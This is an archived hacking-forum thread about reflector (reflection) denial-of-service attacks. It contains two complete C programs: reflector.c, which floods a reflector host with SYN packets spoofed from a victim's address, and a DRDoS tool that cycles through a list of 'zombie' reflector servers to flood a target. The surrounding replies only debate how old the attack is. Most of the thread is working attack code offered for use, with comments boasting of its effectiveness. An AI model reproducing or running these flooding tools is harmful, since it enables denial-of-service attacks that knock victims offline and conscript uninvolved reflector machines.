hacking contest

hacking exploits security forum
hacking
compliance articles
upgrade backup exec
information security consultant

Full Version: Reflector D/dos
shaun2k2
There exists a (D)DoS attack which involves sending a packet to an "agent" or "reflector" machine, which involves the machine sending a packet in reply. Such a packet could be a packet with the SYN flag set, which would cause a SYN|ACK packet to be sent in reply. But, the SYN packet is sent to the reflector machine with a spoofed source address - THE ADDRESS OF THE VICTIM MACHINE. Then, the attacker continuously sends these SYN packets to the reflector machine with the source address of a target machine, causing the target machine to be flooded with SYN|ACK packets. The diagram below illustrates my point:


CODE

                         SYN
                Dest IP: reflector
                   Src IP: target
ATTACKER -----------------> REFLECTOR MACHINE
                                                            |
                                                            |
                                                            |     SYN|ACK
                                                            |   Dest IP: target
                                                            |   Src IP: reflector
                                                            |
                                       TARGET MACHINE



By doing this, the attacker is essentially using "reflector" machine's bandwidth to continuously flood "target" machine with SYN|ACK packets. Commonly, the attacker would do this using multiple reflector machines, thus causing this attack to be a DDoS (Distributed Denial of Service attack). Although the concept of this attack is not new, and use of it certainly NOT new either (register.com was the victim of a reflector attack in 2k1 if I recall), I haven't seen any tools written to do this attack. I have written a Proof-of-concept to demonstrate the attack I described above. I hope you might find it useful in some way.

reflector.c
CODE

/* reflector.c - reflector DDoS utility.
*
* This program is a simple PoC program for the 'reflector' DDoS attack.
* The attack theory is relatively simple:
*
* An attacker spoofs a SYN packet with the source address set to the victim's
* IP address to an agent host.  The agent host responds to this SYN packet by
* sending a SYN|ACK packet to the source address (which is actually the
* victim's IP address).  The attacker sends a continual storm of these
* packets, thus causing the victim host to be flooded continually with SYN|ACK
* packets, by a totally innocent agent host ("reflector" host).  In this
* sense, the attacker is using a different host to carry out the DoS attack,
* thus classifying it a DDoS attack.
*
* I don't take responsibility for usage of this program, I hope you find it
* useful.  
*
* -shaun2k2
*/


#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <sys/socket.h>
#include <sys/types.h>
#include <signal.h>
#include <netinet/in.h>
#include <netinet/ip.h>
#include <netinet/tcp.h>
#include <netdb.h>

/* signal handler function prototype. */
void clean_exit();

/* checksum calculation function prototype. */
unsigned short in_cksum(unsigned short *addr, int len);

int sock;  /* this is our raw socket.  This is a global int because the
      signal handler needs to be able to reference it, so declaring
      in main() would not work. */


/* main() function.  The main function will build the packet, and send it
* forever.  When it receives a form of termination signal from the user,
* it will hand control to clean_exit(), which should cleanly exit the
* program.  This function fills in the IP section of the packet, the TCP
* section, and also our pseudo header, which is used in calculating a
* checksum value.
*
* return value: 0 - success.
*/
int main(int argc, char *argv[]) {

/* Check the command line arguments. */
if(argc < 3) {
 printf("reflect <reflect_sys> <reflect_sys_port> <victim>\n", argv[0]);
 printf("reflect DDoS written by shaun2k2 - <shaunige@yahoo.co.uk>\n");
 exit(-1);
}


/* pseudo header, used in calculating a checksum for each packet. */
struct pseudohdr  {
 unsigned long saddr; /* source address */
 unsigned long daddr; /* dest address */
 char zer0; /* zero */
 unsigned char protocol; /* protocol to use */
 unsigned short length; /* length of packet */
};

int on = 1;
char packet[4096]; /* Packet. */
struct sockaddr_in dest; /* Our address info structures. */
struct sockaddr_in dest1;
struct iphdr *ip = (struct iphdr *) packet; /* our raw socket
            structures. */
struct tcphdr *tcp = (struct tcphdr *) packet + sizeof(struct iphdr);
struct pseudohdr *pseudo;
pseudo = (struct pseudohdr *) (packet + sizeof(struct iphdr) - sizeof(struct pseudohdr));
struct hostent *he;
struct hostent *he1;

/* Check if the user is root (uid 0). */
if(getuid() != 0) {
 printf("Must be root to create a raw socket!\n");
 exit(-1);
}

/* check if the reflector host exists. */
if((he = gethostbyname(argv[1])) == NULL) {
 printf("Couldn't resolve hostname!\n");
 exit(-1);
}

/* check if the victim host exists. */
if((he1 = gethostbyname(argv[3])) == NULL) {
 printf("Couldn't resolve hostname!\n");
 exit(-1);
}

/* create the socket. */
if((sock = socket (AF_INET, SOCK_RAW, IPPROTO_TCP)) == -1) {
 perror("socket()"); /* Error creating socket. */
 exit(-1);
}

/* Fill in the destination (reflector machine) info. */
dest.sin_family = AF_INET;
dest.sin_port = htons(atoi(argv[2]));
dest.sin_addr = *((struct in_addr *)he->h_addr);
memset(packet, 0, 4096); /* zero out the packet. */

/* Fill in the structure for the source address (victim). */
dest1.sin_addr = *((struct in_addr *)he1->h_addr);
dest1.sin_port = htons(1337); /* this doesn't matter too much. */
/* nothing else in needed. */

/* fill in the pseudo header - this is needed to help calculate
 * the checksum for the tcp segment of the packet. */
pseudo->saddr = inet_ntoa(dest1.sin_addr); /* source address
           (target). */
pseudo->daddr = inet_ntoa(dest.sin_addr); /* dest address
          (reflector). */
pseudo->zer0 = 0;
pseudo->protocol = IPPROTO_TCP; /* we are using tcp. */
pseudo->length = htons(sizeof(struct tcphdr)); /* total length of
        tcp segment of the
        packet. */

/* Tell the kernel we'll fill in the IP headers
 * outselves. */
if((setsockopt(sock, IPPROTO_IP, IP_HDRINCL, (char *)&on, sizeof(on))) < 0 ) {
 perror("setsockopt");  
 exit(1);
}

/* Fill in IP headers. */
ip->ihl = 5;
ip->version = 4;
ip->tot_len = sizeof(struct iphdr) + sizeof(struct tcphdr);
ip->id = htons(1337);
ip->saddr = inet_ntoa(dest1.sin_addr); /* source address is the victims
      IP address. */

ip->daddr = inet_ntoa(dest.sin_addr); /* dest address is the reflector
      machine. */
ip->ttl = 255; /* time to live for the packet. */
ip->protocol = 6;
ip->check = 0; /* calculate checksum later, below. */
ip->tos = 0;
ip->frag_off = 0;
/* set the checksum. */
ip->check = in_cksum((unsigned short *)ip, sizeof(struct iphdr));

/* Fill in the TCP headers. */
tcp->source = htons(dest1.sin_port);
tcp->dest = htons(dest.sin_port); /* the dest port is the destination
                       port on the reflector machine. */

tcp->seq = htons(random()); /* "random" sequence number. */
tcp->ack = 0; /* ACKnowledgement */
tcp->syn = 1; /* this is the first step in the TCP handshake, a syn
   packet. */
tcp->window = htons(65535);
tcp->doff = 5;
tcp->rst = 0; /* ReSeT */
tcp->check = 0; /* calculate checksum later, below. */
tcp->psh = 0; /* PuSH */
tcp->fin = 0; /* FINish */
tcp->urg = 0; /* URGent */
tcp->ack_seq = htons(0); /* ACKnowledgement SEQuence number.
       this is not an ACK packet, so we do not
       need this. */
/* set the checksum. */
tcp->check = (unsigned short)in_cksum((unsigned short *)pseudo, sizeof(struct tcphdr)+sizeof(struct pseudohdr));

printf("Reflector DDoS attack:\n\n");
printf("Localhost ----> %s <----> %s\n\n", argv[1], inet_ntoa(dest1.sin_addr));

printf("DoSing %s!\n", inet_ntoa(dest1.sin_addr));


signal(SIGINT, clean_exit); /* install signal handlers.  If user does
          send a signal which is either SIGINT
          or SIGQUIT, jump to clean_exit().
          */
signal(SIGQUIT, clean_exit);
 
/* Insert some fork()'s in here if you can afford a few processes. */
while(1) {
 
/* After all of our hard work, finally inject the packet.
 * The packet will be sent out as fast as our machine can send them
 * out, and will continue until the user sends some form of term
 * signal.  If our attack works correctly, the target machine should
 * be flooded with SYN|ACK packets.  If you run multiple instances
 * of this program, each using a different reflector ('agent') host,
 * this could be a full-scale DDoS attack, and a pretty effective one.
 */
sendto(sock, packet, ip->tot_len, 0, (struct sockaddr *)&dest, sizeof(struct sockaddr));
}

/* return success - shouldn't ever get here, since loop is
 * infinite. */
return(0);
}


/* signal handling function.  Catches signal, flushes socket, closes socket,
* and exits gracefully.
*
* return value: 0 - success
*/
void clean_exit() {
signal(SIGINT, clean_exit); /* reset the signals. */
signal(SIGQUIT, clean_exit);
printf("\n\n\aSignal caught!\n\n");
printf("Exiting gracefully...\n");
close(sock); /* close socket. */
exit(0);
}


/* checksum calculation function.
* This function will efficiently calculate the checksum
* for both the TCP part of the packet, and the IP part of the
* packet.  This is a pretty popular checksum function found in
* many raw sockets programs.  I am unaware of who the original
* author is.  If you know, please let me know.
*
* return value: a calculated checksum value.
*/
unsigned short in_cksum(unsigned short *addr, int len) {
register int sum = 0;
u_short answer = 0;
register u_short *w = addr;
register int nleft = len;

while (nleft > 1)  {
 sum += *w++;
        nleft -= 2;
}

if (nleft == 1) {
 *(u_char *)(&answer) = *(u_char *)w;
 sum += answer;
}

sum = (sum >> 16) + (sum & 0xffff);
sum += (sum >> 16);
answer = ~sum;
return(answer); /* return the checksum value. */
}


I have attempted to make it as robust as possible. smile.gif



Thank you for your time.
Shaun.
stonebreaker
for this code to compiled is libpcap necessary?
prog
I dont see it in the include list.
flame
i found a nice read about these kind of things
here it is:
h**p://www.tik.ee.ethz.ch/~ddosvax/talks/ddos_td.pdf
shaun2k2
No, libpcap isn't used in reflector.c - I used the UNIX raw socket library.

QUOTE

  i found a nice read about these kind of things
here it is:
h**p://www.tik.ee.ethz.ch/~ddosvax/talks/ddos_td.pdf

Thanks for posting flame smile.gif.


-Shaun.
Steffan
THX. will have a look @ this ... wink.gif


Steven
linuxwolf
heh, old old OLD news, looks like another variant of the smurf. :/~. except it only uses one host machine, instead of smurfs, broadcasting to a list of ips. Now, THAT is devastating. ph34r.gif
If you'd like an explanation on smurfs, ill get one for you.
Dinos
it's quite old news indeed but never the less it's a very good try and a nice study material for everybody in the board i guess. Though my opinion about DDoS is always the same, it's better not to be in their way ever.

Dinos
shaun2k2
QUOTE

  heh, old old OLD news, looks like another variant of the smurf. :/~. except it only uses one host machine, instead of smurfs, broadcasting to a list of ips. Now, THAT is devastating.
If you'd like an explanation on smurfs, ill get one for you.

That wasn't very accurate. The reflector attack is in no way related to the smurf attack. As for the explanation, I am very much aware of the theory of a smurf attack. In the way you seem to look at things, all attacks are variations of each other. I'm curious, how the hell does the reflector attack resemble the smurf attack? Cheers.

An old attack eh? Not half as old as buffer overflows. Buffer overflows are as old as assembly languages, reflector attacks are as old as the TCP/IP suite.


-Shaun.
easternerd
I guess what you mean to say is the usaage of Decoys and being undetectable
using the tcp sequence numbers .
its very old. ive even seen this in some newsgrops dated as old as 10 years back.
good info .
Tyrano
isn't this just a simple Distributed Reflective Denial Of Service (DRDOS), using only one machine instead of multiple zombie machines/routers?
shaun2k2
ROFL, why is everybody jumping all over me because I tried to post something useful. Hehe, did I claim the attack was new? Re-read. Gee, it might be old, but buffer overflows have been around as long as assembly languages, but you guys still like to talk about them (me too).

QUOTE

isn't this just a simple Distributed Reflective Denial Of Service (DRDOS), using only one machine instead of multiple zombie machines/routers?

Yes, of course it is. But obviously, people employ the attack using more than one machine. And is does qualify as a distributed denial of service attack, because you are using other machines to distribute it.

QUOTE

I guess what you mean to say is the usaage of Decoys and being undetectable
using the tcp sequence numbers .

Yeah, to some extent, but the sequence number in a SYN packet is random. Using other machines is a way to hide yourself, but packet spoofing would be employed by the attacker anyway. Other machines have high bandwidth, such as routers, so it's appealing.


-Shaun.
Tyrano
QUOTE
/**************************************************************************/
/*  DRDoS - Distributed Reflection Denial of Service tool                */
/*                                                                        */
/*  Copyright © 2003 KrystalEye.com                                    */
/*                                                                        */
/*  This program is free software; you can redistribute it and/or modify  */
/*  it under the terms of the GNU General Public License as published by  */
/*  the Free Software Foundation; either version 2 of the License, or    */
/*  (at your option) any later version.                                  */
/*                                                                        */
/*  This program is distributed in the hope that it will be useful,      */
/*  but WITHOUT ANY WARRANTY; without even the implied warranty of        */
/*  MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the        */
/*  GNU General Public License for more details.                          */
/*                                                                        */
/**************************************************************************/
/*  Version - 1.0                                                        */
/*                                                                        */
/*  Purpose - Demonstration of DRDoS attacks                              */
/*                                                                        */
/*  Author - Nguyen Minh Nhat <ngmnhat@yahoo.com>                        */
/*          http://www.krystaleye.com/                                  */
/*                                                                        */
/*  Disclaimer - You must be ROOT to use RAW socket.                      */
/*              This program is for educational purposes only and        */
/*              network testing ON YOUR OWN NETWORK! Do not use it      */
/*              for malicious purposes!                                  */
/*              I am in NO way responsible for what you do with this    */
/*              program, or any damage you or this program causes.      */
/*                                                                        */
/*  For whom - People with a little knowledge of TCP/IP, C source code    */
/*            and general UNIX. Otherwise, please keep your hands off,  */
/*            and catch up on those things first.                        */
/*                                                                        */
/*  Compiling - gcc -o DRDoS DRDoS.c                                      */
/*                                                                        */
/*  Usage - Usage is described in the welcome screen of this program when */
/*          running it without arguments                                  */
/**************************************************************************/

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <string.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <arpa/inet.h>
#include <netinet/in.h>
#include <netinet/ip.h>
#include <netinet/tcp.h>
#include <netdb.h>

#define IPHDRSIZE sizeof(struct iphdr)
#define TCPHDRSIZE sizeof(struct tcphdr)
#define PSEUDOHDRSIZE sizeof(struct pseudohdr)

struct pseudohdr
{
  unsigned long saddr;
  unsigned long daddr;
  char useless;
  unsigned char protocol;
  unsigned short length;
};
struct forcksum
{
  struct pseudohdr pseudo;
  struct tcphdr tcp;
};

unsigned short in_cksum(unsigned short * addr,int len);
int main(int argc,char * argv[]);

int main(int argc,char * argv[])
{
  int val;

  char fname[1000];
  FILE * list;
 
  char * packet;
  struct iphdr * ip;
  struct tcphdr * tcp;
  struct forcksum helpcksum;
 
  int serverfd;
  struct sockaddr_in server;
 
  char saddr[100],daddr[100];
  unsigned short a,b,c,d,sport,dport,tport;

  if (argc != 3)
  {
    printf("\nDistributed Reflection DoS tool - v1.0\n");
    printf("Copyright © 2003 KrystalEye.com\n\n");
    printf("Usage: %s <list> <target IP>\n\n",argv[0]);
    printf("  -list    : Path to Zombies (\"Reflection Servers\") list file\n");
    printf("  -target IP: IP address of target\n\n");
    printf("*** Syntax of list file ***\n");
    printf("  -Each line contains 1 zombie's information\n");
    printf("  -Each zombie is described by 5 numbers:\n");
    printf("      4 octets of IP address (without '.') and Port number\n");
    printf("  -Numbers are seperated by at least 1 blank character (' ')\n");
    printf("Example: 203 162 56 78 80\n");
    printf("      => IP: 203.162.56.78 || Port: 80\n\n");
    printf("Email: ngmnhat@yahoo.com\n");
    printf("Good luck! Thanks for using this tool!\n\n");
    exit(-1);
  }
  else
  {
    sprintf(fname,"%s",argv[1]);
    sprintf(saddr,"%s",argv[2]);
    sprintf(daddr,"%s",argv[2]);
    tport = random() % 10000;
    sport = tport;
    dport = tport;
  }

  if ((packet = (char *)malloc(IPHDRSIZE + TCPHDRSIZE)) == NULL)
  {
    printf("Error: malloc()\n");
    exit(-1);
  }

  bzero(packet,sizeof(packet));
  bzero(&helpcksum,sizeof(helpcksum));

  ip = (struct iphdr *)packet;
  tcp = (struct tcphdr *)(packet + IPHDRSIZE);

  helpcksum.pseudo.saddr = inet_addr(saddr);
  helpcksum.pseudo.daddr = inet_addr(daddr);
  helpcksum.pseudo.useless = 0;
  helpcksum.pseudo.protocol = IPPROTO_TCP;
  helpcksum.pseudo.length = htons(TCPHDRSIZE);

  tcp->source = htons(sport);
  tcp->dest = htons(dport);
  tcp->seq = htonl(random());
  tcp->ack_seq = 0;
  tcp->doff = 5;
  tcp->fin = 0;
  tcp->syn = 1;
  tcp->rst = 0;
  tcp->psh = 0;
  tcp->ack = 0;
  tcp->window = htons(65535);
  tcp->urg_ptr = 0;
  tcp->check = 0;
  helpcksum.tcp = *tcp;
  tcp->check = in_cksum((unsigned short *)&helpcksum,TCPHDRSIZE + PSEUDOHDRSIZE);

  ip->ihl = 5;
  ip->version = 4;
  ip->tos = 0;
  ip->tot_len = IPHDRSIZE + TCPHDRSIZE;
  ip->id = random();
  ip->ttl = 255;
  ip->protocol = IPPROTO_TCP;
  ip->saddr = inet_addr(saddr);
  ip->daddr = inet_addr(daddr);
  ip->check = 0;
  ip->check = in_cksum((unsigned short *)ip,IPHDRSIZE);

  if ((serverfd = socket(AF_INET,SOCK_RAW,IPPROTO_RAW)) < 0)
  {
    printf("Error: socket()\n");
    exit(-1);
  }

  setsockopt(serverfd,IPPROTO_IP,IP_HDRINCL,&val,sizeof(int));

  bzero(&server,sizeof(struct sockaddr));
  server.sin_family = AF_INET;

  if ((list = fopen(fname,"r")) == NULL)
  {
    printf("Error: cannot open file\n");
    exit(-1);
  }
  fscanf(list,"%hu",&a);
  if (feof(list))
  {
    printf("Error: empty list\n");
    fclose(list);
    exit(-1);
  }
  fclose(list);

  printf("\nAttacking %s...\n\n",argv[2]);
  printf("Press <Ctrl-C> to Stop.\n");

  while (1)
  {
    list = fopen(fname,"r");

    while (!feof(list))
    {
      fscanf(list," %hu %hu %hu %hu %hu",&a,&b,&c,&d,&tport);

      sprintf(daddr,"%hu.%hu.%hu.%hu",a,b,c,d);
     
      helpcksum.pseudo.daddr = inet_addr(daddr);

      ip->daddr = inet_addr(daddr);
      ip->id = random();
      ip->check = 0;

      dport = tport;

      tcp->source = htons(random() % 10000);
      tcp->dest = htons(dport);
      tcp->seq = htonl(random());
      tcp->check = 0;
      helpcksum.tcp = *tcp;

      tcp->check = in_cksum((unsigned short *)&helpcksum,TCPHDRSIZE + PSEUDOHDRSIZE);
      ip->check = in_cksum((unsigned short *)ip,IPHDRSIZE);

      server.sin_addr.s_addr = inet_addr(daddr);
      server.sin_port = htons(dport);
     
      sendto(serverfd,packet,ip->tot_len,0,(struct sockaddr *)&server,sizeof(struct sockaddr));

      usleep(100);
    }

    fclose(list);
  }
 
  close(serverfd);
  return 0;
}

unsigned short in_cksum(unsigned short * addr,int len)
{
  register int sum = 0;
  u_short answer = 0;
  register u_short * w = addr;
  register int nleft = len;
  while (nleft > 1)
  {
    sum += *w++;
    nleft -= 2;
  }
  if (nleft == 1)
  {
    *(u_char *)(&answer) = *(u_char *)w;
    sum += answer;
  }
  sum = (sum >> 16) + (sum & 0xffff);
  sum += (sum >> 16);
  answer = ~sum;
  return answer;
}



I found this too. biggrin.gif

and here is another explanation with even more pictures to complement shaun2k2's work
This is a "lo-fi" version of our main content. To view the full version with more information, formatting and images, please click here.

 
Invision Power Board © 2001-2005 Invision Power Services, Inc.